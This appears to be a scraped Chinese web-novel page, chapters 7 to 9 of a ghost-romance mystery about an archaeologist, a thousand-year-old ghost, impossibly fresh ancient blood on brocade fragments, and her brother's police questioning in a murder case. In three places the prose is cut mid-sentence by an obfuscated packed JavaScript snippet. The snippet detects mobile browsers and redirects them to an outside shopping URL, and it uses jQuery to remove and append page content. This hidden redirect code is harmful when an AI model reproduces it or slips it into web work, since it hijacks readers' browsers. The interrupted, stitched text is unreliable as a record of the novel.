朝元联系了军工大的朋友,让她带自己和宋秋稔进了校内,过去南二楼吃饭。宋秋稔是第一次来,显得有些惶然和犹豫不决,朝元也没有强求他,分别点了擂椒拌饭和刀削面。 她自从毕业,就很少有机会有时间过来这边吃饭了。 食堂的灯光依旧明亮,人声混杂着雨声,从敞开的门口一阵阵飘进来。 她挂断檀非打来的电话后,很顺手地拿过两只小碗,给宋秋稔分了些拌饭,又给自己夹了点刀削面、舀了汤。 “你什么时候过来秦川的?怎么没有和我说一声,是不是还没有逛过这边的学校?你以前不是想报考军工大学吗?等吃完晚饭,我带你在学校里雨中散步,好好走走吧。” 朝元只有在刚见面的时候劈头盖脸地骂了他一顿,现在已经语气温和,笑着对他说话。 朝元心知肚明,如果不骂他几句,反倒是让他心里难受了。 他本就是瞒着她过来秦川的,如今她知道了,不能置之不理,也不能太让他无所适从。 每个人都是立体而完整的个体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454706|201208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,值得被理解与尊重。彼此之间保留恰到好处的边界与空间,便是最体面的尊重。 “对不起。”宋秋稔的五官硬朗,浓眉高鼻,一双眼睛很特别,内圈微黄,外圈带绿,像是盛开着的向日葵,“我不太想待在金陵,别的地方也不熟悉,我想离姐近一点,姐在的地方也算是半个家。” 朝元其实理解他。 他是宋晓风的私生子。 当年宋晓风和姑姑结婚时,两人说好不要孩子。可后来宋晓风变卦了,在外一夜情后,把这个私生子从外面抱了回来。 姑姑一直以来都和小孩不亲,从未打算生养小孩,再加之是宋晓风背叛在先,所以对这个私生子自然谈不上爱。 能答应把他养大,已经算是极大的宽容。 “那你还瞒着我,真是够让人担心的。”朝元半是打趣地说,“你一个人过来的吗?” 宋秋稔吃起面条来很安静,几乎没有声音。他点了点头,慢慢开口:“姐,你别担心,我在这边认识了一个同乡,她也是金陵人,之前还住在你家附近,挺巧的。” 朝元喝了几口面汤,暖意顺着喉咙往下走:“那确实挺巧的。你在这边上班累不累?打算做多久?”她放下碗时,目光落在窗口前排队打饭的学生身上。 她们看上去才二十出头,和宋秋稔差不多年纪,与同伴有说有笑,一双双眼睛像是一块美好的璞玉。 宋秋稔与她们相比,说好听点,是更沉静、内敛;再说得直白点,就是有些病恹恹的。 朝元为他感到几分可惜。 “挺轻松的,没有骗你,这边的工厂是我做过最轻松的,包吃包住,食堂的饭便宜也很好吃。姐,我也想稳定一点,存好足够的钱,慢慢还给阿姨,这些年她养我辛苦了。”宋秋稔微微笑着回道,面色恬淡。 朝元闻言,阴影打在她的脸上,她还是面色不变地吃饭。 他穿着一件黑色卫衣,袖口已经被磨得破损,布料被洗得软塌,缝线处已经微微脱线。 朝元继而说道:“吃完饭后,我送你回去宿舍,顺便让我见见你的同事,好让我放心。” 雨还在下。 雨珠打在层层叠叠的梧桐树叶上,让平日里的林荫道多了几分湿冷。 雨天里,来往的学生并不多,但西苑篮球馆依旧灯火通明,馆内正举办着一场师生联谊篮球赛。 朝元便拉着宋秋稔去看球,等赛事结束,已经十点了。 她这才把宋秋稔送回工厂的员工公寓。 朝元准备启程回去住处时,却忽然发现萧摩奴竟然还没有回来。 潮湿的夜里并没有月亮,反倒弥漫起几分雾气,空气里带着雨水的腥冷。马路上的车流也已稀疏,朝元心里有些奇怪——萧摩奴说好等永福坊残片全部复原了再走的,他这就不回来了吗? 开车间,朝元也忍不住注意着马路两侧,一面留意,一面在心中暗暗自嘲,这是斯德哥尔摩综合症吗? 巴不得他离开,却在他真的离开的时候,心里反倒生出一些不知名的怪异。 明明耳根清净了啊。 也好。 黑郁郁的夜,黑郁郁的风,车行至秦川大学的天桥时,朝元竟在桥上看见了他的身影。 他仍旧是穿着那身素青的圆领袍,赤着双足,倚在天桥栏杆上。 昏黄的街灯下,他用木簪轻束长发,几缕发丝微微掠过他的眼角。他低垂着眼,神色不明,看着桥下来回穿梭的车辆、看着两旁宛如陈年胭脂渍的栾树、看着操场上零星几个学生、看着淡青色的教学楼轮廓。 穿过潇潇雨幕,朝元在他的身上看见了几分孤单。 朝元的思绪飘回了过去——想到了自己的父母,想到了那场凶杀案,想到了那片残忍的火海。 同样的,朝元也想到了永福坊遗址,想到了自己是学考古的,是研究资料、整理资料的人。 学术研究到最后,面对的不是一堆材料,而是人。一个活生生、有名有姓、曾经哭过笑过的人此时此刻就站在她的面前,如果她现在不去亲近,那还要等到什么时候再去亲近? 朝元想,她的确很贪心。 一千年过去了,即便萧摩奴最后真的要害她,她也认了。 既已做了决定,便该有承担一切后果的觉悟。 ——“辟邪,你怎么在这儿?我找了你好久。” 街灯下,朝元停下车,撑开伞,沿着天桥一步步朝他走去。 雨丝飞进伞里,打湿她的肩,她走去他的面前,将伞微微倾向于他,也为他在蛛丝一般黏湿的冷夜里撑起一把伞。 7. 罗绮者(二) “施主,你莫要忘了,我是鬼,淋不着雨。” 冷风还在吹拂,宝蓝色的伞影覆盖到萧摩奴的身上。萧摩奴微微侧过脸,鬓发掠过他的脸,他于灯光下看见风雨飘落在朝元的肩头,微微扯起嘴角笑了笑,抬唇向她说道。 朝元闻言,将伞从他的头上收回,阴影瞬间离开他的身子。 她又伸出一手,指腹轻轻触上他的青丝。 雨水落在她的手背,冰凉而又清晰。 朝元看着手上的雨滴,朝他笑了笑,又把伞重新移到他的头顶:“淋得到。” 萧摩奴的神色变了变,衣袖下的手倏然攥紧,盯着朝元时,眼神微妙地沉了沉,像是裹着雨丝的冷风。 而他的脸上还是一番温柔的笑意。 “你就是在这边读书的吗?和那些学生。”萧摩奴又望向秦川大学的校园内,问道。 “对。”朝元回道,“只是现在天色太晚了,等到以后哪天方便,我带你好好逛逛。” 萧摩奴微笑着看她:“听上去很好。” “这边尽是学堂,我看见很多高楼里都有学生,比我们以前多得太多。那时候读书并不容易,我读书只是为了取悦贵人,与那些为求功名而苦读的士子们相比,他们总说我这是下贱。”他说道。 “我之前去过一趟沙漠,沙漠里住着许多黑皮肤的人,小到走路、吃饭,大到风俗、语言,都与我们不同。他们在沙漠里居然是跪着解手,还认为镜子是摄取人魂魄的邪物。可同样的生命,生活在不同地方,便生出种种差异,而情感却能彼此相通。我因此感动,也因此心生敬意。”雨丝细密,朝元在春雨里撑着伞,想了想,回道,“世上确实有阶级之分,富人穷人、美人丑人,甚至于佛陀和肉体凡胎,士子们考取功名,你为求生存,本就是各取所需,而其中真正称心如意的又少之又少,说到底,大家都是苦命人,而如今……我这个苦命人也看见你了。” 萧摩奴仍旧端看着她,只是不久又微微低眉,苍白的脸上流淌出浅浅笑意:“妙迦也生了一张菩萨脸,看上去有一颗菩萨心。她说话总是柔柔的,像你一样春风拂面,尽用她那张佛口对我吐出一些不堪入耳的话。她也说过一些温柔的话,只不过是把刀子裹在糖里,哄我心甘情愿去送死。”话说到尾音,萧摩奴又抬起脸慢慢盯向她。 事已至此,朝元几乎可以断定,他就是萧摩奴。 同时,也隐约猜到了妙迦的身份。 他是找不到债主,错把怨放到她身上了。 风雨潇潇而下,没有半点停歇的意思。 朝元忽然察觉到,握着伞柄的手被一只有力的大手覆住。 那手却又冰冷得刺骨,像是死去多时,僵涩、枯索,毫无声息。 朝元低眼,萧摩奴正握着她的手。 夜风吹拂,掀动他的青绿色衣袍。 “你能显形?”朝元张张唇,诧异地问道。 萧摩奴也低头看着自己的手,他已经死了上千年。 这上千年里,他第一次有了清醒的意识,能看见这个陌生而又新奇的世界。 这上千年里,他醒来第一眼就看见了她。 在临死之前,他的过往如走马灯般在眼前翻涌——而那一生的每一刻,都有她的影子。 他死了上千年,睡了上千年,也刻骨铭心地疼了上千年。 千年之后,他第一次触碰上她。 绝不是虚无缥缈的。 他自己也说不清缘由,只是心口剧痛,痛得恨不能亲手将她杀了。 可他仍旧在笑,在风雨里笑,在冷夜里笑。 “就是现在,带我去看一看你读书的地方。”他拿过她的雨伞,微微倾斜伞面,同她一起撑着说道。 四周都是湿冷的雨,两人的身影被笼在伞下,朝元只看见他赤着的脚正一步步踩在积水里。 雨水弄脏了他的脚。 “你先陪我做另一件事。”朝元碰上他的手,抢过他手中的伞,收拢起来,与他并肩走在雨中,含笑说道。 她带着萧摩奴过去了橘河旁。 蜿蜒的河道两岸,绿柳成荫,平时就鲜少有人过来,就别更提这样的雨夜里。无论是河面还是堤岸,都沉沉一片黑,黑得很结实、黑得满满当当。 朝元和宋秋稔在军工大学里吃饭时,路过综合楼超市,想着给他买一些吃的带回宿舍。 她在货架上看到了一排样式极其简单的运动鞋,想着萧摩奴没有鞋子穿,烧纸钱也是烧,烧鞋子有何不可的? 因为工作需要,她经常清理和描摹尸骨,譬如要对着头骨辨认他们生前的面貌特征,从齿痕和骨缝里去推断他们曾经的生活环境和经历……她看见过萧摩奴的脚,能估算出他的尺码。 在这片民俗和信仰扎根的土地上,不妨试一试吧。 橘河岸边的僻静处,朝元为了以防万一,还把车用灭火器放在一旁。 雨淅沥而下,白色的球鞋和棉袜被放进火里,火苗先是舔着边角,慢慢卷起鞋面的橡胶。 朝元看着白色一点点发黄、发灰,继而鼓起细小的泡,塑料面随之软塌下来,边缘蜷曲起来。 火光明灭之间,火舌沿着鞋带向上窜。 ——萧摩奴,来拿鞋。 萧摩奴,来拿鞋。 朝元在心里默念。 黑雨之下,唯有火焰在一下下跳跃。朝元的眼睛又大又亮,果然看见萧摩奴的脚上多了一双鞋。 生人的思念真的能带给故人吗? “暖和吗?”燃烧着的火光下,湿答答地飘起来几缕黑烟和灰尘,朝元出声问道。 灰尘拂过朝元的眼,火光照红她的脸。 萧摩奴静静坐在一旁,他的头发湿了,衣服也湿了,倒是一双鞋是崭新的,尺寸适宜。 萧摩奴看着鞋,微微挑了挑眉,看着朝元的眼色深了深。 辟邪的名也能寄到萧摩奴的身上吗? 可萧摩奴仍旧不动声色,他伸出手,结结实实地触碰到那双鞋上:“一定要烧给我吗?”他抬唇问道。 朝元心想,确是如此。他这只鬼变成人了,何不带他去买一双? 可是—— “这不重要,重要的是你有鞋了,而我又第一次见到东西真的能烧去地府。”朝元更欣喜于此。 这样,思念便能超越阴阳两隔。 或许……她的父母也能收到她寄去的心意。 萧摩奴却平静地问道:“多少钱。” 朝元没有回绝。 她微微前倾,凑近他,伸手从他的发髻间抽出木簪。 “你的钱在我们这边不能流通,即便流通,也得要上交。这就当是还给我的钱了。”她说道。 他乌黑的长发随之微微散落,湿意沿着发丝漫开。 他没有阻拦,只侧了侧头,抬手将散落的长发拨到耳后。 他微微仰起脸,迎向黑隐隐的天空,水衫的树叶红得似火。他似乎闭上了眼,只静静聆听着雨滴落在脸上的触感。 火星渐弱,树叶声簌簌作响,搅动着潮湿的空气。雨珠落在他的唇上,他微微张口尝了尝,那双修长的眉眼渐渐舒展开。 “不早了,回去吧,你男朋友该等着急了。”随后,他睁开眼望向朝元,从岸边起身,雨珠再次穿透他的身躯,他神色澹然地抬步往前走。 · 永福坊遗址出土的七件织锦残片无端淌血后,当时院里加班加点,对样本反复取样和检测。 不仅做了成分和血型分析,还进行了碳十四测年。 报告出来后,结果令人震惊。 血液样本富含铁元素,符合血液特征;同时,免疫学检测也确认了其为人类血液,血型为O型。 但碳十四测年的数据显示,其年代距今约一千二百年,与血液仍呈鲜活状态的事实形成了巨大的矛盾。 一千两百年前的血怎么会保存至今,并且和新鲜血液几乎无异? 闻所未闻。 “是不是测错了?”会议上出现了质疑声。 残件上淌血本就是怪事一桩,其中来龙去脉也只有朝元清楚。 朝元默默听着他们说。 “反复检查了很多遍,没有错。”院里领导把报告投到屏幕上,“三家实验室交叉检验,试剂、设备和流程都有完整的记录,结果不会有太大差错。” 会议室里的人碰了碰目光,议论声起来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454707|201208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那就更不可能了。一千两百年前的血,怎么可能保存成这样?要么时间在这块织锦上停住了,要么我们对血液腐败的认知是错的。”其中一位文保工作者半是玩笑地反驳道。 “铁含量、免疫反应和血液抗体都符合新鲜人血特征。另外,我必须要声明一点,我们采样是在无菌室里完成的,不存在污染的可能性。”化验室的人立马解释道,把自己的嫌疑摘除掉。 “有没有可能是后来渗进去的?比如发掘现场,比如搬运过程中?有没有问过负责这个项目的许领队。” “小许认真负责,如果过程中出了问题,她肯定会第一时间报告到院里,并解决。现在不仅问过了她,还调了完整记录,发掘和运输都没有问题。你们再好好看看这份报告,最后结果也摆出来了,根本不存在这个可能性。”领导的语气重了点,不是急出来的,是百思不得其解苦恼出来的,“织锦纤维里层都有血迹渗透进来,从显微镜里看,血液在纤维没有老化之前就已经进入了。这真有点见鬼了,让我说得再明白一点,就是血和织锦几乎是同一个时代的。” 他怎么会淌这么多血? 诸多学者都对青简上记载的“病逝”有疑,这究竟是真相,还是史官奉旨改写的托词? 朝元一面想,一面适时出声:“这也可能是超常保存了。” 她觉得自己必须要说话了,不然恐怕就控制不住事情发展的走向了。 不过,她既不会说出萧摩奴的事,也不会将这桩悬而又悬的事定义为神迹。 她要对残件渗血的事,保有一定参与权。 “这个样本能长期保存,也许是得益于卫朝及之前的某种未知的防腐工艺,也可能是织锦本身的染料、媒染剂里含有抑菌或固化血红蛋白的成份;再或者,残片长期埋藏在稳定的微环境里。” 朝元看着投影上的显微照片,一本正经地说道:“主任,这七件残片是在我清理过程中出问题的,责任在我,我有义务参与到后续调查里。我想如果现有的结果没有偏差,那或许它本身就是事实。是否可以从头研究,扩大微区采样,重建埋藏环境,同时追溯染料来源,并且开展年代学对比?我的时间比较充裕,主任,这些工作我都能来协调。” 她一面说,一面慢慢想到萧摩奴的话——等残片复原,他便会离开。 他会以什么样的方式离开? 真是让朝元无比期待。 朝元在惨白的灯光下,面色依旧不改,认真地注视着各位职称在她之上的领导。 “小宋,你负责过去遗址采样,到时候和朝元一起协调。”为首的院主任说道,将目光放到朝元的身上,斟酌着。 她虽然本硕毕业于秦川大学,但读研时候跟着的导师以躺平闻名。其实这位老师年轻时候也是个拼命三娘,到中年了却开始无欲无求起来,既不追求任何名利,也不结婚生子,为人处事虽好,对于学生却是放养居多。 朝元没有抱怨,反而自找出路,给学校本专业的其他老师发邮件,一个老师没有回,就接着给另一个发。 ——她要下工地。 她要跟着做项目。 她要实习。 她聪敏有头脑,做起事来认真负责,不论是在学校,还是在考古院,都是一个非常称职的人,因此各个老师都很赏识她、推荐她。 目前也只能这样了。 · 研究院的食堂,电视上正重新播放着早间新闻。 依旧是主持人平直冷静的声音,依旧是龙首庄高槿花园的重大刑事案件,一名金陵籍贯的女性死者被发现死于出租屋内。 高槿花园离这边大概有十五公里,分属不同辖区的公安局。 但朝元仿佛听见了警笛声一晃而过。 “死者名祝佳音,毕业后一直没有固定职业。邻居反映,她平时很少出门,长期独居,社交少。两个月前,有人见过她带成年男子回来。她生前确实怀孕了,一个月不到,胎儿DNA没有找到匹配样本。调了通信记录,她最近两个月和一个名叫宋秋稔的男子联系频繁,两个人都是金陵的。” “那个宋秋稔现在在友谊区的产业园上班。” 警车是往产业园过去的。 8. 罗绮者(三) “你不要紧张,让你过来主要是问你话,你老实讲就行。祝佳音的事你知道了吗?” 刑侦中队的讯问室里,队长胡暇是个四十多岁的女性,剪了一个利落的短发,深色夹克配短靴,此时坐在宋秋稔的对面问话。她的语气简洁,不拖泥带水,却带着几分安抚的意味。 “佳音姐怎么了?她前段时间心情不好,我有问过她,她一直没有回复,她怎么了?”宋秋稔听见这个名字,眼里登时有些小心翼翼的紧张起来。 “你最近一次见她是什么时候?”胡暇没有回答,反问道。 宋秋稔想了想:“是在上周二,那天我休息,她过来产业园找我。她说她最近遇上了些事,让我陪她喝几杯。”他极其配合,把能想到的细节都说了出来,认为可以帮到祝佳音。 “有和你说什么事吗?”胡暇继续问。 她已经问过祝佳音的邻居。邻居说她一直独来独往,只有一次带过男人回来。 因为覆盖率的问题,那个青年没有被花园小区的监控拍到,附近的监控也正在排查中。 所以邻居的描述成了目前唯一的线索,带回来的青年人个子很高,但很瘦,皮肤黑,看上去不到二十岁,腿瘸。 和宋秋稔的形象并不符合。 宋秋稔摇头,努力以旁观者的视角回忆,语气尽量冷静:“没有。那天她有好几个电话打过来,她没有接,也没有关机。她和我说过要离开秦川。其实那天她有些不像平时,说最近被一些事困扰,但在我看来,她反倒挺尽兴的,比以前那种沉郁的样子轻松多了,像是想开了。” “她有男朋友吗?”胡暇换了一个问题。 毕竟她怀孕了。 “她没有和我提起过。”宋秋稔说完后,犹豫了会儿,还是继续开口道,“我不知情,也不好乱猜。我和她认识不久,从三月初到现在,只见过五六次。但我朋友不多,自认为算她朋友。以朋友的感觉,我觉得她应该有个比较亲密的来往对象。” 讯问室里,胡暇看着宋秋稔,他生的硬朗,肩背笔直,身上还穿着沾着油渍的黑色厂服。他说起话来,不抢不乱,回答时也条理清楚,看上去老实本分,像是会在厂房埋头干活的人。 这种人,胡暇见过很多。 在她这些年的刑侦生涯里,外表憨厚、语气诚恳的,甚至会替别人着想的,未必真的没有隐情。 胡暇仍旧一面听他说,一面在心里过筛,语气放得比平时更温和,让他以为自己已经被相信。 “你四月二十七号白天不在厂里,到了晚上十点多才回来,你那天都做了什么?” 也就是祝佳音遇害当天。 “我……”宋秋稔两手交握,这才低下眼,“我去了研究院。” 他张张唇,像是在逼着自己说:“省考古研究院。我姐在那边工作,我去看我姐了。但是我姐不知情,你们能不能别过去问她?” 胡暇点点头:“你别紧张,这个我能理解,很多人有事都不想让家里人担心,很正常,我们也不是非要惊动家属。但是……祝佳音遇害了,我们现在查的是人命案。” “宋秋稔,因为你有嫌疑,我们才带你回警局,你那天的时间线,不仅是对案件本身,还是对你自己,都很重要。你几点去的研究院,又是几点从研究院离开的;你是怎么去的,经过哪些路,碰上哪些人,之后又去了哪里,你都要说清楚。” 祝佳音遇害了。 宋秋稔的脑子像是被雷轰了一下,旋即抬起眼,碰上得是胡暇肯定的目光。 宋秋稔攥紧了双手,思绪像是被一根线勒住,把时间线一点一点往外挤。 “早上六点多出门,去白家村坐205路……大概六点四十二,205路十五分钟一趟,坐了四十分钟左右。我从韦曲下车,正好赶上738路公交,转去周家庄那边,坐到研究院的附近。” 他尽可能想着,一面想,一面说:“那会儿研究院还没有上班,我在附近等到十点四十,一直没有看见她。我想着,她可能没来,或者是出野外了。我没有进去问人,不想给她添麻烦。” “后来我去了旁边的博物馆,在那里待到五点多,下班时间也没有见到她。我就去了她朋友圈里发过的那家餐馆,在南门街,月亮餐馆。她说过好吃,我想着……去看看。” 因为祝佳音遇害,纵使他不想说,他也说得很细致,一面说,一面不自觉地缩着肩膀:“吃完就回去了产业园,还是早上那条路。” “你放心,等会儿会有人过来提取你的DNA样本,剩下的我们会去核实清楚。”胡暇看出他的紧张,让警员给他倒了一杯温水,“还有,也请你告诉我一下你姐姐叫什么名字,在研究院的哪个部门。不过你也别担心,如果你没有任何隐瞒,我们不会去打扰她。请你不要有顾虑。” 宋秋稔倒摇摇头:“没关系,抓到凶手更重要。她叫朝元,在文保部门。” 灰白的灯光落下来,胡暇的眉心一跳,抬起眼:“朝元?金陵过来的吗?” 胡暇认识她。 好久不见的故人。 听见她的名字,心里都会打颤的故人。 她还记得她吗? 是不是已经忘记她了? 思及此,胡暇无故有几分落寞。 · 下过一场春雨后,秦川接连几天都天朗气清,风中不带有一丝萧索之意。 朝元在食堂吃过饭后,本想过去绿廊休息片刻缓缓神,却没有想到周成璧找来这里了。 朝元带她过去接待室,给她拿了一瓶矿泉水,又拿了些水果。 “伯母,你过来是有什么事吗?”她笑着问道。 伸手不打笑脸人嘛。 但偏偏周成璧不是一般人。 “檀非是我的独子,我就生了他这么一个孩子,我所有的心血都寄托在他的身上了。”周成璧坐得笔直,肩线削薄,黑色的长风衣剪裁利落,她望着朝元一字一句地说,似乎藏着什么未尽之语,“我们家里的情况特殊,他将来娶得妻子,必须要让他的父亲满意,必须要帮着理顺他和他父亲之间的关系。这个人绝对不会是你。如果我没记错,你们已经在一起七年了,七年还停留在原地,还有多少结婚的可能?” 朝元回应道:“伯母,你说得对,我和檀非本就没有结婚的打算,我们是不婚主义者。” 周成璧皮笑肉不笑的:“我看人很少走眼,你心里有没有他,我看得一清二楚。你是为了什么和他在一起,看中他这个人,还是图他的钱?” 风和日丽,照得接待室也分外明亮。朝元这次是温和地纠正她:“伯母,我心里有他,真的有他。” “朝元,”周成璧的眉毛薄,眉梢微微上扬,看着她朴素的打扮,喊了她一声,接着说,“在这种人才济济的地方,你大概很清楚评职称、拿项目的门道吧?你有才华,有能力,也肯下苦功夫,只是在这种体系里,学问归学问,位置归位置。” “没有家世的人,大多数时候都只能靠时间排队。好的项目、关键的资源、重要的推荐信都不可能轻易就轮到你的身上,如果轮不到你,你即便再努力、成果再多,都只是项目名单上镶边的名字。等轮到你的时候,你已经错过了最好的年纪。多可惜呢?” “朝元,我见过的人、经历的事比你多。大多数男人基本都是一个模子,一辈子都生活在父亲的阴影里。父亲越强悍,他们便越懂得委曲求全,心里头巴望着有朝一日,能活成父亲那个样子。就像檀非一样,永远逃不过他父亲的五指山,他不会和你更长久了。趁我对你还有些耐心,你和檀非分手,让他回沪申,以后你在学界、在项目上需要什么资源,我可以替你引荐。”周成璧不紧不慢说着,终于摆出了条件。 很心动啊—— ——“铛铛铛。” 朝元听见了铃铛的声音,转头便看见身穿青绿圆领袍的萧摩奴过来了。 “施主啊,你怎么没有过去绿廊?我等了你很久。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454708|201208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 朝元听见他弯身在自己身旁,低声说道。 朝元却依旧看着明媚的光,看着坐在光晕里的周成璧。 她看着很贵气,可是并不开心,像是被一圈乌云笼罩着。 “因为看见了伯母,我今天很高兴。”朝元回道。 “伯母,不如你给我一笔钱吧。”她并不关心周成璧为何总是心是满满的样子,这与她没有任何关系。 她只是身子微微前倾,靠近了一些周成璧,脸上的笑意被慢慢收敛,只剩下诚恳:“你也读过很多书,年轻时候在院所工作过,你知道做项目不仅要绞尽脑汁写各种报告和论文,还要自己动手动脚找东西,你理解我的境况吧?我正好不想再努力了,钱到人走。” · 风飞了过来。 宋秋稔从讯问室出来,回到产业园时已经天黑。 也许是今天厂房里有很多人都目睹他跟着警察上了警车,所以同一宿舍的人才对他颇有微词。 “哥,昨天白班我是负责的L12三台机器,它的三片盖在临了有刮伤,我都清理出来了,再开机后也去送检了,送检正常,我才重新生产的。机器在夜班出问题,真的不是我的问题……”宋秋稔看见群消息中对他的罚款通知,对领班解释道。 可见领班在电话里没有什么好语气。 宋秋稔的脸色没有变,至多也就抿了抿唇角:“哥,对不起。我还想继续留在这边做,以后会更小心的,不会再出错了。” 领班这才挂了电话。 宿舍里静悄悄的,没有人像往常一样喊人打游戏、借洗衣粉、问吃不吃夜宵。 宋秋稔洗漱后,才发觉自己的被套、床单都湿透了。 可是宿舍里依旧静悄悄的,包括宋秋稔在内,拢共住了八个人,没有一个人开口说话。 宋秋稔从金陵过来,只带了几套衣服,其余的什么都没有带,这被子被垫都是厂里发下来的,是上一个工人用剩下的。 宋秋稔一直很爱惜自己的身体,也很爱惜这点属于自己的东西。 他没有问是谁干的。 因为太明显了。 让宋秋稔奇怪的是——大家大部分都是从外地来的,也大多是经过中介介绍,有着相同的命运。所以,大家都是能聊天的关系,怎么一转眼就形同陌路了呢? 仅仅是因为他被带去警局吗? 他从没有做过坏事。 或许他自打来到这个世上,就是戴罪之身。 宋秋稔抱起湿漉漉的被子,准备晾去阳台。 门一推开,屋内压着的笑声终于低低地传开。 “装什么无辜……不是偷东西,就是做了什么见不得人的事……听说厂的几只野狗也是被他毒死的,怪不得他经常拿着馒头剩饭在楼下喂狗,他看上去就是心理变态。” 室内亮着的灯,像是一双双冰冷的眼睛。 “我看他被警察放回来,多半是因为证据不足,过几天还会被抓过去。” “昨天L12三台机器值夜班的是领班的亲戚,他算是什么……当然要罚他的钱。” 宋秋稔听在耳里,沉默不语地晾着床单。 在风里飒飒作响,使得宋秋稔在这幽幽夜色里,不得不想到朝元。 风中似乎还传来了附近大学的铃声。 ——直到宿舍内响起敲门声。 “请问宋秋稔在吗?打扰了,我是他的哥哥,想来看看他。他是住在这间宿舍吗?” 宋秋稔在阳台上回头,看见檀非站在宿舍门口。灯光下,他身形修长,手里提着几样东西,银丝眼镜下的那双眼睛在温和笑着。 不知刚才刻薄的取笑声,有没有落进他的耳朵里。 “顺便给大家带了点小东西,都是些吃的、用的。他年纪和你们差不多大,平日相处应该合得来。如果他有做得不周到的地方,也烦请直接同我说。”檀非的目光掠过那张孤单的床,透过陈旧而模糊的窗子,望向阳台上的宋秋稔。 9. 罗绮者(四) 周成璧给了朝元一张银行卡。 事毕,她还找了文保研究室的副主任,别有意味地看着朝元说:“希望你们的馆员是个收钱好办事的。” 不知道的还以为她们俩人在私下里有什么见不得人的往来。 ——“这钱是你自愿给我的,你可千万别反过来告我啊!” 朝元并不在意周成璧对她的轻视,反而朝她的背影喊道,喊完便径自去了环境考古实验室,调取永福坊旧宅遗址的数据。 实验室的架子上,放着一排一排的玻璃瓶,里头装着发掘时专门提取出来保存的土样。 遗址一经揭露,原貌便不能再复原,地下的埋藏环境也会迅速改变,致使脆弱的遗物在转瞬间老去、死去。 考古现场的发掘与保护至关重要。 不论是细碎的炭屑、一层层的土样,还是珍贵无比的遗物,都需要完整保存原始信息和背景数据。 朝元从柜子里翻出记录本,找到七件残片出土时候的位置坐标,随后过去架子上找对应的玻璃瓶。 她整个下午都埋头在仪器前给土样测酸碱度、含水量;分析颗粒度、有机质含量。 要复原埋藏环境,就要把每一个变量都还原到位。 纵使朝元已经知道来龙去脉,但还是要说到做到,不然总是良心不安。 或许真的能解出什么难题呢?在蛛丝马迹中补充出被历史遗忘的细节。 “施主啊,你和他之间的缘分,怕不是今生才有的。那些僧侣常说,百年修得同船渡,千年修得共枕眠。你们之间的相逢,指不定是谁人在红尘外苦修千载修来的。你说舍就舍,还真是挺狠心的。” 不知何时,萧摩奴已经站在了架子前,出声说道。 朝元已经不觉得意外,他总是神出鬼没,好在每次回家的时候,他要么待在仓库;要么就是消失地无影无踪。 朝元看了一眼手机,时间已晚。 恰好此时檀非给她打来了电话,朝元等了一会儿,按了关机。 “要不我带你去逛逛?”朝元说道,周成璧给她的银行卡还好端端地放在口袋里呢。 春风徐徐,和萧摩奴逛完回去时,已是九点。 走在住宅区的柏油路上,朝元望着身边已换上黑色西服的男子,她不过是带他去买了一身衣服。俗话说得好,入乡随俗嘛。 即便是再漂亮的玩偶,心情好的时候也要给他多换上几身衣服,这样才能保持长久的赏心悦目。 “上回我给你买新鞋,你要拿钱同我交易。这回呢?”朝元笑着问道。 “你想要什么?”萧摩奴没有回覆,径自反问道。 朝元眯着一双笑眼看他,他虽然清瘦,但肩宽背直、身材挺拔,及腰的青丝让朝元用那只木簪半挽着,松松垂落在肩侧。他的肤色白极了,是那种近乎没有生气的白,让朝元一时难以分清,此时此刻的他究竟只是一缕魂,还是仍在显形之中——能穿衣、能更衣,活生生的人。 “史书上第一次出现萧摩奴的名讳,说他少时聪敏、谨小慎微、几近苛己。后来如意九年掌兵,纵使太史公对他多有微词,也称他行军途中亲探险径,三战三捷。这样看来,萧摩奴分明是出身寒微,却在困顿中自持自砺之人。这样子的他,反倒后来声名狼藉,又是器用奢侈,又是滥杀降者,最后还起兵谋逆。”朝元盯着身侧水鬼一般的男子,静静地问,“辟邪,如果你要给我买衣服的报酬,你就告诉我萧摩奴究竟是什么样的人吧。” 萧摩奴微微一笑:“多谢你的好意了,这身衣服我穿不惯,可以脱下来还给你。还是崭新的,不脏。你可以送给你的男朋友,亦或是送给你想送的人。”他说道,轻飘飘地瞥了眼朝元手中拎着的几个手提袋。 “这是给我弟弟买的,你见过他。他才二十出头,平时省吃俭用惯了,舍不得给自己花钱,我给他买些生活用品,还能顺便去看他几眼。我们是从小一起长大的。”朝元答到道,与他并肩往家的方向走,两旁的住宅楼灯火通明,窗影层叠,再不见先前无端浮现的数百座墓碑和游荡的鬼影。 